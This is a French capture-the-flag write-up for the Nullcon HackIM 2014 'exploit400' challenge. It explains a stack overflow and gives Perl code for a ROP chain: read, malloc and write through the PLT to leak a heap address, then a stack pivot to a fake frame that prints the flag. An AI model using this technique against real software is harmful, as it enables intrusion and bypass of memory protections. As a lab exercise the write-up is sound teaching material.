Voici un petit write-up du challenge exploit400, du CTF Nullcon Hackim 2014.

Vous pouvez trouver le binaire ici : exploit400 Et la source ici : exploit400.c

Le fait que nous avions accés au code source du programme nous a bien facilité la tâche.

Le programme est on ne peut plus simple : - Il ouvre et lit le flag de validation, et le stock dans le heap. - Il demande ensuite une saisie, qui abouti facilement à un stack based overflow.

Il n'y a pas beaucoup de protection, et j'ai programmé mon exploit en prenant en compte l'ASLR probable :

    RELRO      STACK CANARY      NX            PIE         RPATH      RUNPATH      FILE
    No RELRO   No canary found   NX enabled    No PIE      No RPATH   No RUNPATH   exploit400

Comment lire le flag stocké en mémoire ? J'ai choisi de faire du ROP afin de bypass l'ASLR et NX.

La première chose que j'ai fais, c'est mettre à zéro 4 bytes du segment DATA. Pour se faire, j'ai utilisé la fonction read, présente dans la @PLT, afin d'envoyer 0x00000000.

    $payload .= pack('L', 0x080483d0); # read@plt
    $payload .= pack('L', 0x080486a7); # pop3;ret
    $payload .= pack('L', 0x00000000); # stdin
    $payload .= pack('L', 0x080498d8); # DATA
    $payload .= pack('L', 4); # size

Ensuite, j'exécute un malloc, histoire d'avoir une adresse du heap, et connaître ainsi l'emplacement du flag.

    $payload .= pack('L', 0x080483f0); # malloc@plt
    $payload .= pack('L', 0x080483a0); # pop;ret
    $payload .= pack('L', 0x100); # size

L'adresse du flag est alors à : EAX - OFFSET. Avec quelques gadgets, je stocke cette valeur en mémoire. (dans la zone initialisé grâce à la fonction read)

    $payload .= pack('L', 0x080483a0); # pop ebx; ret
    $payload .= pack('L', 0x080498d8-0x5d5b04c4); # DATA

    $payload .= pack('L', 0x080484de); # add [ebx+0x5d5b04c4],eax

Je m'envois alors cette valeur via la fonction write

    $payload .= pack('L', 0x08048440); # write@plt
    $payload .= pack('L', 0x080486a7); # pop3;ret
    $payload .= pack('L', 0x00000001); # stdout
    $payload .= pack('L', 0x080498d8); # DATA
    $payload .= pack('L', 4); # size

J'ai choisi d'utiliser une technique de fake-stack-frame + stack-pivot afin d'avoir un code "dynamique" (je calcule comme ça les offsets du heap dans l'exploit, et je peux créer la fake-stack-frame en conséquence). Je reçois ma stack via read(), que je stock dans le segment DATA. J'exécute ensuite une instruction du type pop ebp; leave; ret; afin de changer de stack-frame.

    $payload .= pack('L', 0x080483d0); # read@plt
    $payload .= pack('L', 0x080486a7); # pop3;ret
    $payload .= pack('L', 0x00000000); # stdin
    $payload .= pack('L', 0x080498d8); # DATA
    $payload .= pack('L', 0x130); # size

    $payload .= pack('L', 0x080484e3); # pop ebp ; ret
    $payload .= pack('L', 0x080498d4);
    $payload .= pack('L', 0x08048511); # leave; ret

Envois du payload

    print $sock $payload;

Mise à zéro d'une variable en mémoire (premier read)

    print $sock "\x00\x00\x00\x00";

Lecture de l'adresse du HEAP envoyée

    $sock->read($r, 21);
    $sock->read($r, 4);
    $r = unpack('L', $r);

Création + envoi de la fake-stack-frame. Il s'agit s'implement d'un write() envoyant le flag.

    $stack .= pack('L', 0x08048440); # write@plt
    $stack .= pack('L', 0x080486a7); # pop3;ret
    $stack .= pack('L', 0x00000001); # stdout
    $stack .= pack('L', $r-0x48); # FLAG
    $stack .= pack('L', 100); # size

    print $sock $stack;

Réception du flag et validation du challenge !!!

    while($r = <$sock>) {
        print $r;
    }

Un challenge simple, mais plutôt marrant.

Voici l'exploit entier : exploit400.pl